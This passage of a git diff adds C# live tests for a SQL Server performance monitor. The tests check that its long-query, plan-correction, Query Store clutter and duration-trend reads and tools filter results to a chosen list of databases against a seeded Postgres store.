+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244 (PR4, lane R2): get_long_query_completions, get_plan_corrections and get_query_store_clutter read a SET of
+/// databases. Each reader and tool gains an overload that takes a <see cref="DatabaseFilter"/>; the public tool methods keep
+/// passing every database until the wiring lane. This class pins each overload over a seed of three databases (A, B and C):
+/// [A, B] returns only A and B rows on every statement the read uses, the cap applies after the filter, and the one-name
+/// consumers on the empty path and the server-level replica flag say something true for a list.
+/// Skips without <c>DARLING_TEST_PG</c>, like its siblings.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryEventsDatabaseFilterLiveTests
+{
+    internal const string ServerName = "darling-query-events-dbfilter-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    internal const string DbA = "FilterDbA";
+    internal const string DbB = "FilterDbB";
+    internal const string DbC = "FilterDbC";
+    private const string Skip = "Set DARLING_TEST_PG to a Postgres connection string to run the live query-events database-filter test.";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void Sql_IsTheListForm_OnEveryStatementTheReadsUse_WithNoNameSplicedIn()
+    {
+        Assert.Contains("($5::text[] IS NULL OR database_name = ANY($5))", DarlingLongQueryReader.LongQueryCompletionsSql, StringComparison.Ordinal);
+        Assert.Contains("($5::text[] IS NULL OR database_name = ANY($5))", DarlingPlanCorrectionReader.PlanCorrectionsSql, StringComparison.Ordinal);
+        Assert.Contains("($2::text[] IS NULL OR database_name = ANY($2))", DarlingPlanCorrectionReader.AutomaticTuningSql, StringComparison.Ordinal);
+        Assert.Contains("($5::text[] IS NULL OR d.database_name = ANY($5))", DarlingQueryStoreClutterReader.ReadCostSql, StringComparison.Ordinal);
+        Assert.Contains("($4::text[] IS NULL OR database_name = ANY($4))", DarlingQueryStoreClutterReader.PlanChurnSql, StringComparison.Ordinal);
+        Assert.Contains("($4::text[] IS NULL OR database_name = ANY($4))", DarlingQueryStoreClutterReader.ConfigSql, StringComparison.Ordinal);
+        /* The per-server arms stay whole: no database predicate. */
+        Assert.DoesNotContain("database_name", DarlingQueryStoreClutterReader.QdsWaitsSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("database_name", DarlingQueryStoreClutterReader.QueryStoreClerkSql, StringComparison.Ordinal);
+        /* The snapshot's anchor subquery is NOT filtered, so a filtered and an unfiltered call show the same capture. */
+        var anchor = DarlingPlanCorrectionReader.AutomaticTuningSql;
+        var anchorSubquery = anchor[anchor.IndexOf("(SELECT MAX", StringComparison.Ordinal)..anchor.IndexOf("($2::text[]", StringComparison.Ordinal)];
+        Assert.DoesNotContain("$2", anchorSubquery, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task LongQueries_TwoNames_ReturnOnlyThoseDatabases_TheCapAppliesAfterTheFilter_AndAnEmptyAnswerSaysTheChosenDatabases()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var start = end.AddHours(-1);
+
+            var ab = await DarlingLongQueryReader.GetRecentLongQueryCompletionsAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { DbA, DbA, DbB }, ab.Select(r => r.DatabaseName).Order().ToArray());
+            var all = await DarlingLongQueryReader.GetRecentLongQueryCompletionsAsync(postgres, ServerId, start, end, 100, DatabaseFilter.All, ct);
+            Assert.Equal(6, all.Count);
+            var viaDefault = await DarlingLongQueryReader.GetRecentLongQueryCompletionsAsync(postgres, ServerId, start, end, 100, cancellationToken: ct);
+            Assert.Equal(6, viaDefault.Count);
+
+            /* The cap is applied AFTER the filter: C holds the 2nd and 3rd slowest rows, but the top 2 of [A, B] are A's 9 s and B's 6 s. */
+            var capped = await DarlingLongQueryReader.GetRecentLongQueryCompletionsAsync(postgres, ServerId, start, end, 2, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new long?[] { 9_000_000, 6_000_000 }, capped.Select(r => r.DurationMicroseconds).ToArray());
+
+            /* The tool overload: the page holds only the chosen databases, and a miss names them. */
+            var asOf = end.ToString("o");
+            var page = JsonDocument.Parse(await DarlingMcpLongQueryTools.GetLongQueryCompletions(
+                postgres, ServerName, 1, 100, asOf, DatabaseFilter.Of([DbA, DbB]), null, ct)).RootElement;
+            Assert.Equal(3, page.GetProperty("completions_returned").GetInt32());
+            Assert.All(page.GetProperty("completions").EnumerateArray(), r => Assert.Contains(r.GetProperty("database_name").GetString(), new[] { DbA, DbB }));
+
+            var miss = JsonDocument.Parse(await DarlingMcpLongQueryTools.GetLongQueryCompletions(
+                postgres, ServerName, 1, 100, asOf, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), null, ct)).RootElement;
+            Assert.Equal("empty", miss.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases", miss.GetProperty("message").GetString(), StringComparison.Ordinal);
+            var publicMiss = JsonDocument.Parse(await DarlingMcpLongQueryTools.GetLongQueryCompletions(
+                postgres, ServerName, 1, 100, DateTime.UtcNow.AddDays(-30).ToString("o"), null, null, ct)).RootElement;
+            Assert.DoesNotContain("for the chosen databases", publicMiss.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task PlanCorrections_TwoNames_FilterTheRecommendationsAndTheTuningSnapshot_WithoutMovingTheSnapshotAnchor()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var start = end.AddHours(-1);
+
+            var ab = await DarlingPlanCorrectionReader.GetPlanCorrectionsAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { DbA, DbA, DbA, DbB }, ab.Select(r => r.DatabaseName).Order().ToArray());
+            var all = await DarlingPlanCorrectionReader.GetPlanCorrectionsAsync(postgres, ServerId, start, end, 100, DatabaseFilter.All, ct);
+            Assert.Equal(6, all.Count);
+            /* Newest capture first: unfiltered, the top 2 are C and A (the newest capture); the cap applies after the filter, so [A, B]'s top 2 is A, then B (C's older row is out). */
+            var capped = await DarlingPlanCorrectionReader.GetPlanCorrectionsAsync(postgres, ServerId, start, end, 2, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { DbA, DbB }, capped.Select(r => r.DatabaseName).ToArray());
+
+            /* The newest capture holds A and C only. Filtering to [A, B] keeps A and does NOT fall back to B's older capture. */
+            var tuningAb = await DarlingPlanCorrectionReader.GetLatestAutomaticTuningAsync(postgres, ServerId, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { DbA }, tuningAb.Select(t => t.DatabaseName).ToArray());
+            var tuningAll = await DarlingPlanCorrectionReader.GetLatestAutomaticTuningAsync(postgres, ServerId, DatabaseFilter.All, ct);
+            Assert.Equal(new[] { DbA, DbC }, tuningAll.Select(t => t.DatabaseName).Order().ToArray());
+            Assert.Equal(tuningAll.Single(t => t.DatabaseName == DbA).CollectionTime, tuningAb.Single().CollectionTime);
+
+            var asOf = end.ToString("o");
+            var page = JsonDocument.Parse(await DarlingMcpPlanCorrectionTools.GetPlanCorrections(
+                postgres, ServerName, 1, 100, asOf, false, DatabaseFilter.Of([DbA, DbB]), null, ct)).RootElement;
+            Assert.Equal(4, page.GetProperty("recommendations_returned").GetInt32());
+            Assert.Equal(new[] { DbA }, page.GetProperty("automatic_tuning").EnumerateArray().Select(t => t.GetProperty("database_name").GetString()).ToArray());
+
+            var miss = JsonDocument.Parse(await DarlingMcpPlanCorrectionTools.GetPlanCorrections(
+                postgres, ServerName, 1, 100, asOf, false, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), null, ct)).RootElement;
+            Assert.Equal("empty", miss.GetProperty("status").GetString());
+            var message = miss.GetProperty("message").GetString()!;
+            Assert.Contains("for the chosen databases", message, StringComparison.Ordinal);
+            Assert.DoesNotContain("for this server", message, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task QueryStoreClutter_TwoNames_NarrowOnlyThePerDatabaseArms_AndTheServerLevelFlagsStayWhole()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var start = end.AddHours(-1);
+            int[] servers = [ServerId];
+            var ab = DatabaseFilter.Of([DbA, DbB]);
+
+            /* Each per-database arm: only the chosen databases. */
+            var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, servers, start, end, ab, ct);
+            Assert.Equal(new[] { DbA, DbB }, readCost.Select(r => r.DatabaseName).Order().ToArray());
+            var readCostAll = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, servers, start, end, cancellationToken: ct);
+            Assert.Equal(new[] { DbA, DbB, DbC }, readCostAll.Select(r => r.DatabaseName).Order().ToArray());
+            /* The denominator and the comparison pool read every run: a database's figures do not move with the selection. */
+            foreach (var row in readCost)
+            {
+                var whole = readCostAll.Single(r => r.DatabaseName == row.DatabaseName);
+                Assert.Equal(whole.RunsObserved, row.RunsObserved);
+                Assert.Equal(whole.OthersSlowestItemMsP50, row.OthersSlowestItemMsP50);
+            }
+
+            var churn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, servers, start, end, ab, ct);
+            Assert.Equal(new[] { DbA, DbB }, churn.Select(r => r.DatabaseName).Order().ToArray());
+            Assert.Equal(3, (await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, servers, start, end, cancellationToken: ct)).Count);
+
+            var config = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, servers, start, end, ab, ct);
+            Assert.Equal(new[] { DbA, DbB }, config.Select(r => r.DatabaseName).Order().ToArray());
+            Assert.Equal(3, (await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, servers, start, end, cancellationToken: ct)).Count);
+
+            /* The tool: rows for the chosen databases, the per-server overhead still there. */
+            var asOf = end.ToString("o");
+            var page = JsonDocument.Parse(await DarlingMcpQueryStoreClutterTools.GetQueryStoreClutter(
+                postgres, ServerName, 1, 50, false, asOf, ab, ct)).RootElement;
+            Assert.Equal(2, page.GetProperty("database_count").GetInt32());
+            Assert.Equal(new[] { DbA, DbB }, page.GetProperty("databases").EnumerateArray().Select(d => d.GetProperty("database_name").GetString()).Order().ToArray());
+            Assert.Equal(JsonValueKind.Object, page.GetProperty("qs_overhead").ValueKind);
+            Assert.False(page.GetProperty("server_is_replica").GetBoolean());
+
+            /* [M4] server_is_replica is a SERVER claim: B alone is a readable secondary (the only config row the filter keeps), but the server
+               is not one, because A and C record. Read off the filtered rows it would say true. */
+            var onlyReplica = JsonDocument.Parse(await DarlingMcpQueryStoreClutterTools.GetQueryStoreClutter(
+                postgres, ServerName, 1, 50, false, asOf, DatabaseFilter.One(DbB), ct)).RootElement;
+            Assert.Equal(1, onlyReplica.GetProperty("database_count").GetInt32());
+            Assert.False(onlyReplica.GetProperty("server_is_replica").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, onlyReplica.GetProperty("server_note").ValueKind);
+
+            /* [M4] The empty path: a filter naming databases nothing was collected for says "empty ... for the chosen databases", never an
+               unavailable verdict about the server, and the Query Store precondition takes the filter. */
+            var miss = JsonDocument.Parse(await DarlingMcpQueryStoreClutterTools.GetQueryStoreClutter(
+                postgres, ServerName, 1, 50, false, asOf, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), ct)).RootElement;
+            Assert.Equal("empty", miss.GetProperty("status").GetString());
+            var message = miss.GetProperty("message").GetString()!;
+            Assert.Contains("for the chosen databases", message, StringComparison.Ordinal);
+            Assert.DoesNotContain("for this server", message, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// Seeds one server and returns the window end (now). Long-query completions: A 9 s and 3 s, B 6 s, C 8 s, 7 s and 1 s.
+    /// Plan corrections: an older capture with A (two rows), B (one row) and C (one row), and a newest capture with A and C
+    /// (one row each), so B has recommendations but no row in the newest capture. Query Store: the query_store collector's
+    /// fan-out runs were slowest on A (3 runs), B (1) and C (2); one query_store_stats plan row per database; one health row per
+    /// database, B being a readable secondary (readonly_reason bit 8) and A and C recording.
+    /// </summary>
+    internal static async Task<DateTime> SeedAsync(string cs, CancellationToken ct)
+    {
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+        var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+        var completions = new (string Db, long Seconds)[] { (DbA, 9), (DbA, 3), (DbB, 6), (DbC, 8), (DbC, 7), (DbC, 1) };
+        for (var i = 0; i < completions.Length; i++)
+        {
+            var at = DarlingMcpTestData.Naive(end.AddMinutes(-10 - i));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, duration_microseconds, statement_text)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, at, "rpc_completed", completions[i].Db, completions[i].Seconds * 1_000_000, "EXEC p" + i);
+        }
+
+        var older = DarlingMcpTestData.Naive(end.AddMinutes(-40));
+        var newest = DarlingMcpTestData.Naive(end.AddMinutes(-20));
+        var corrections = new (string Db, DateTime At, int Score)[]
+        {
+            (DbA, older, 10), (DbA, older, 11), (DbB, older, 12), (DbC, older, 13),
+            (DbA, newest, 20), (DbC, newest, 21),
+        };
+        foreach (var (db, at, score) in corrections)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO plan_correction (collection_id, collection_time, server_id, server_name, database_name, force_last_good_plan_desired_state, force_last_good_plan_actual_state, recommendation_name, recommendation_state, query_id, score, query_text)
+VALUES ($1,$2,$3,$4,$5,'Enabled','Enabled',$6,'Active',$7,$8,'SELECT 1')",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "PR_" + score, 1000L + score, score);
+        }
+
+        var runs = new (string Slowest, int Ms)[] { (DbA, 900), (DbA, 800), (DbA, 700), (DbB, 600), (DbC, 500), (DbC, 400) };
+        for (var i = 0; i < runs.Length; i++)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms, fanout_item_count, slowest_item, slowest_item_ms)
+VALUES ($1, $2, $3, $4, $5, 1000, 'SUCCESS', NULL, 100, 990, 10, 5, $6, $7)",
+                CollectionIdGenerator.Next(), ServerId, ServerName, DarlingQueryStoreClutterReader.CollectorName, DarlingMcpTestData.Naive(end.AddMinutes(-30 + i)), runs[i].Slowest, runs[i].Ms);
+        }
+
+        var dbs = new[] { DbA, DbB, DbC };
+        for (var i = 0; i < dbs.Length; i++)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_hash, query_plan_hash, query_text, execution_count, avg_duration_us, avg_cpu_time_us, last_execution_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 'SELECT 1', 10, 1000, 800, $2)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end.AddMinutes(-15)), ServerId, ServerName, dbs[i], 100L + i, 200L + i, "0xQ" + i, "0xP" + i);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO query_store_health (config_id, capture_time, server_id, server_name, database_name, actual_state, desired_state, readonly_reason, current_storage_size_mb, max_storage_size_mb, size_based_cleanup_mode, stale_query_threshold_days, max_plans_per_query, interval_length_minutes, query_capture_mode)
+VALUES ($1, $2, $3, $4, $5, $6, 'READ_WRITE', $7, 100, 8192, 'AUTO', 21, 200, 60, 'AUTO')",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end.AddMinutes(-12)), ServerId, ServerName, dbs[i],
+                dbs[i] == DbB ? "READ_ONLY" : "READ_WRITE", dbs[i] == DbB ? 8 : 0);
+        }
+
+        return end;
+    }
+
+    internal static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM long_query_completions WHERE server_id = {ServerId}; DELETE FROM plan_correction WHERE server_id = {ServerId}; "
+            + $"DELETE FROM collection_log WHERE server_id = {ServerId}; DELETE FROM query_store_stats WHERE server_id = {ServerId}; "
+            + $"DELETE FROM query_store_health WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryHeatmapSqlTwinParityTests.cs b/Darling/Darling.Tests/QueryHeatmapSqlTwinParityTests.cs
index 04af9041b5..952a23371d 100644
--- a/Darling/Darling.Tests/QueryHeatmapSqlTwinParityTests.cs
+++ b/Darling/Darling.Tests/QueryHeatmapSqlTwinParityTests.cs
@@ -22,7 +22,8 @@ namespace Darling.Tests;
 /// normalized away:
 /// <list type="bullet">
 /// <item>the bin width: a literal 5-minute interval in the viewer vs. the reader's bound $5 parameter;</item>
-/// <item>the preview width: a literal 120 in the viewer vs. the reader's bound $7 parameter (#4198).</item>
+/// <item>the preview: the viewer's chart cuts it in SQL at a literal 120, while the reader returns the whole text (#5320) so the
+/// statement filter judges the whole statement before the preview is cut in C#.</item>
 /// </list>
 /// The <c>ORDER BY</c>/<c>LIMIT</c> tail AFTER <c>WHERE rn = 1</c> is a third, deliberate difference (the
 /// reader caps and orders newest-first; the viewer has no cap and orders ascending) and is pinned on its
@@ -59,8 +60,9 @@ public void BothCopies_AreByteIdentical_ThroughTheRnFilter(int metric)
            Assert.Equal below alone could miss if an unrelated one-sided edit happened to cancel it out. */
         const string ReaderBinWidth = "date_bin(($5::integer * INTERVAL '1 minute'), collection_time, TIMESTAMP '1970-01-01 00:00:00')";
         const string ViewerBinWidth = "date_bin(INTERVAL '5 minutes', collection_time, TIMESTAMP '1970-01-01 00:00:00')";
-        const string ReaderPreviewWidth = "query_text_digest)), $7) AS top_query_text";
-        const string ViewerPreviewWidth = "query_text_digest)), 120) AS top_query_text";
+        const string Resolved = "COALESCE(query_text, (SELECT d.query_text FROM query_text_dim d WHERE d.digest = ranked.query_text_digest))";
+        const string ReaderPreviewWidth = Resolved + " AS top_query_text";
+        const string ViewerPreviewWidth = "LEFT(" + Resolved + ", 120) AS top_query_text";
 
         Assert.Contains(ReaderBinWidth, readerSql, StringComparison.Ordinal);
         Assert.Contains(ViewerBinWidth, viewerSql, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/QueryHighDopStaleMaxDopParityTests.cs b/Darling/Darling.Tests/QueryHighDopStaleMaxDopParityTests.cs
index 5a56e75360..bafc9a4442 100644
--- a/Darling/Darling.Tests/QueryHighDopStaleMaxDopParityTests.cs
+++ b/Darling/Darling.Tests/QueryHighDopStaleMaxDopParityTests.cs
@@ -57,6 +57,7 @@ namespace Darling.Tests;
 /// a number or retuning a literal in one guard without the other fails. Its filter, <c>lite</c>, covers
 /// Darling's test tree — exactly the edits that could weaken this file.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class QueryHighDopStaleMaxDopParityTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/QueryReadsWebDispatchLiveTests.cs b/Darling/Darling.Tests/QueryReadsWebDispatchLiveTests.cs
new file mode 100644
index 0000000000..435f9f870b
--- /dev/null
+++ b/Darling/Darling.Tests/QueryReadsWebDispatchLiveTests.cs
@@ -0,0 +1,207 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244 PR4 (lane W4): the six duration-trend, Query Store clutter, long-query and plan-correction reads the web pages drive,
+/// called the way the page calls them, through the web read dispatch with two REPEATED <c>database_name</c> keys over a seed of
+/// databases A, B and C. Each read must answer with A's and B's rows and none of C's. On the base the dispatch ignored the key,
+/// so each read answered with all three databases. The same class pins the PR's wording (a filtered empty answer says "for the
+/// database X" for one name and "for the chosen databases" for two or more) and the <c>database_name</c> echo (blank is null).
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryReadsWebDispatchLiveTests
+{
+    private const string EventDbA = QueryEventsDatabaseFilterLiveTests.DbA;
+    private const string EventDbB = QueryEventsDatabaseFilterLiveTests.DbB;
+    private const string EventDbC = QueryEventsDatabaseFilterLiveTests.DbC;
+    private const string Skip = "Set DARLING_TEST_PG to a Postgres connection string to run the live query-reads web dispatch tests.";
+
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string serverName, string read, string hours, params string[] databases)
+    {
+        var query = new List<KeyValuePair<string, string?>> { new("server_name", serverName), new("hours_back", hours) };
+        query.AddRange(databases.Select(d => new KeyValuePair<string, string?>("database_name", d)));
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    private static string? Echo(string json) =>
+        JsonDocument.Parse(json).RootElement.TryGetProperty("database_name", out var echo) && echo.ValueKind == JsonValueKind.String ? echo.GetString() : null;
+
+    private static double Rate(string json) => DurationTrendDatabaseFilterLiveTests.LastRate(json)!.Value;
+
+    /// <summary>The three trend reads over one raw-tier seed: A 3,000, B 2,000 and C 9,000 weight, so A+B is 5,000 and all is 14,000.</summary>
+    [Fact]
+    public Task TheThreeTrendReads_TwoRepeatedKeys_ReadOnlyAAndBsWork() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("trend-web-dispatch-w4", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            const string A = DurationTrendDatabaseFilterLiveTests.A;
+            const string B = DurationTrendDatabaseFilterLiveTests.B;
+            const string C = DurationTrendDatabaseFilterLiveTests.C;
+            foreach (var (db, weight) in new[] { (A, 3_000L), (B, 2_000L), (C, 9_000L) })
+            {
+                await DurationTrendDatabaseFilterLiveTests.PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, "SELECT " + db, weight);
+                await DurationTrendDatabaseFilterLiveTests.PlantProcedureAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, weight);
+                await DurationTrendDatabaseFilterLiveTests.PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-3), db, weight);
+                await DurationTrendDatabaseFilterLiveTests.PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, weight);
+            }
+
+            const double perSecond = 1.0 / 1000 / 3600;
+            const double storePerSecond = 10.0 / 1000 / 3600;
+            foreach (var (read, unit) in new[]
+                     {
+                         ("get_query_duration_trend", perSecond), ("get_procedure_duration_trend", perSecond), ("get_query_store_duration_trend", storePerSecond),
+                     })
+            {
+                var all = await WebReadAsync(postgres, serverName, read, "24");
+                Assert.Equal(14_000 * unit, Rate(all), 9);
+                Assert.Null(Echo(all));
+
+                var both = await WebReadAsync(postgres, serverName, read, "24", A, B);
+                Assert.True(Math.Abs(5_000 * unit - Rate(both)) < 1e-9, $"{read} over A and B read {Rate(both)}, not A + B's work: {both}");
+                Assert.Equal("the chosen databases", Echo(both));
+
+                var one = await WebReadAsync(postgres, serverName, read, "24", B);
+                Assert.Equal(2_000 * unit, Rate(one), 9);
+                Assert.Equal(B, Echo(one));
+            }
+
+            /* A blank name is every database and echoes null, never the raw whitespace. */
+            var blank = await DarlingMcpTrendTools.GetQueryDurationTrend(postgres, serverName, 24, null, null, "   ", ct);
+            Assert.Equal(14_000 * perSecond, Rate(blank), 9);
+            Assert.Null(Echo(blank));
+            Assert.Equal(14_000 * storePerSecond, Rate(await DarlingMcpTrendTools.GetQueryStoreDurationTrend(postgres, serverName, 24, null, "", ct)), 9);
+        }, DurationTrendDatabaseFilterLiveTests.Cleanup);
+
+    /// <summary>The empty answers of the three trends: one name by its name, two by "the chosen databases", status stays <c>empty</c>.</summary>
+    [Fact]
+    public Task TheTrendEmptyAnswers_NameTheDatabase_WithTheSharedSentenceForm() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("trend-empty-wording-w4", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            const string A = DurationTrendDatabaseFilterLiveTests.A;
+            await DurationTrendDatabaseFilterLiveTests.PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-30), A, "SELECT A", 3_000L);
+            await DurationTrendDatabaseFilterLiveTests.PlantProcedureAsync(connection, ct, serverId, serverName, now.AddHours(-30), A, 3_000L);
+
+            foreach (var read in new[] { "get_query_duration_trend", "get_procedure_duration_trend" })
+            {
+                var one = JsonDocument.Parse(await WebReadAsync(postgres, serverName, read, "2", "NoSuchDb")).RootElement;
+                Assert.Equal("empty", one.GetProperty("status").GetString());
+                Assert.Contains(" for the database NoSuchDb", one.GetProperty("message").GetString(), StringComparison.Ordinal);
+                Assert.DoesNotContain("database_name '", one.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+                var many = JsonDocument.Parse(await WebReadAsync(postgres, serverName, read, "2", "NoX", "NoY")).RootElement;
+                Assert.Equal("empty", many.GetProperty("status").GetString());
+                Assert.Contains(" for the chosen databases", many.GetProperty("message").GetString(), StringComparison.Ordinal);
+            }
+        }, DurationTrendDatabaseFilterLiveTests.Cleanup);
+
+    /// <summary>The three event and Query Store reads over the lane R2 seed: A, B and C each hold rows.</summary>
+    [Fact]
+    public async Task TheLongQueryPlanCorrectionAndClutterReads_TwoRepeatedKeys_ReturnOnlyAAndBsRows()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var serverName = QueryEventsDatabaseFilterLiveTests.ServerName;
+        var bodySucceeded = false;
+        try
+        {
+            await QueryEventsDatabaseFilterLiveTests.SeedAsync(cs!, ct);
+
+            var longQueries = JsonDocument.Parse(await WebReadAsync(postgres, serverName, "get_long_query_completions", "1", EventDbA, EventDbB)).RootElement;
+            Assert.Equal(new[] { EventDbA, EventDbB }, longQueries.GetProperty("completions").EnumerateArray()
+                .Select(r => r.GetProperty("database_name").GetString()!).Distinct().Order().ToArray());
+            Assert.Equal(3, longQueries.GetProperty("completions_returned").GetInt32());
+            Assert.Equal("the chosen databases", longQueries.GetProperty("database_name").GetString());
+
+            var corrections = JsonDocument.Parse(await WebReadAsync(postgres, serverName, "get_plan_corrections", "1", EventDbA, EventDbB)).RootElement;
+            Assert.DoesNotContain(EventDbC, corrections.GetProperty("recommendations").EnumerateArray().Select(r => r.GetProperty("database_name").GetString()));
+            Assert.Equal(new[] { EventDbA, EventDbB }, corrections.GetProperty("recommendations").EnumerateArray()
+                .Select(r => r.GetProperty("database_name").GetString()!).Distinct().Order().ToArray());
+            Assert.Equal("the chosen databases", corrections.GetProperty("database_name").GetString());
+
+            var clutter = JsonDocument.Parse(await WebReadAsync(postgres, serverName, "get_query_store_clutter", "1", EventDbA, EventDbB)).RootElement;
+            Assert.Equal(new[] { EventDbA, EventDbB }, clutter.GetProperty("databases").EnumerateArray()
+                .Select(d => d.GetProperty("database_name").GetString()!).Order().ToArray());
+            Assert.Equal("the chosen databases", clutter.GetProperty("database_name").GetString());
+
+            /* The unfiltered page still holds all three (the control), and echoes null. */
+            var all = JsonDocument.Parse(await WebReadAsync(postgres, serverName, "get_query_store_clutter", "1")).RootElement;
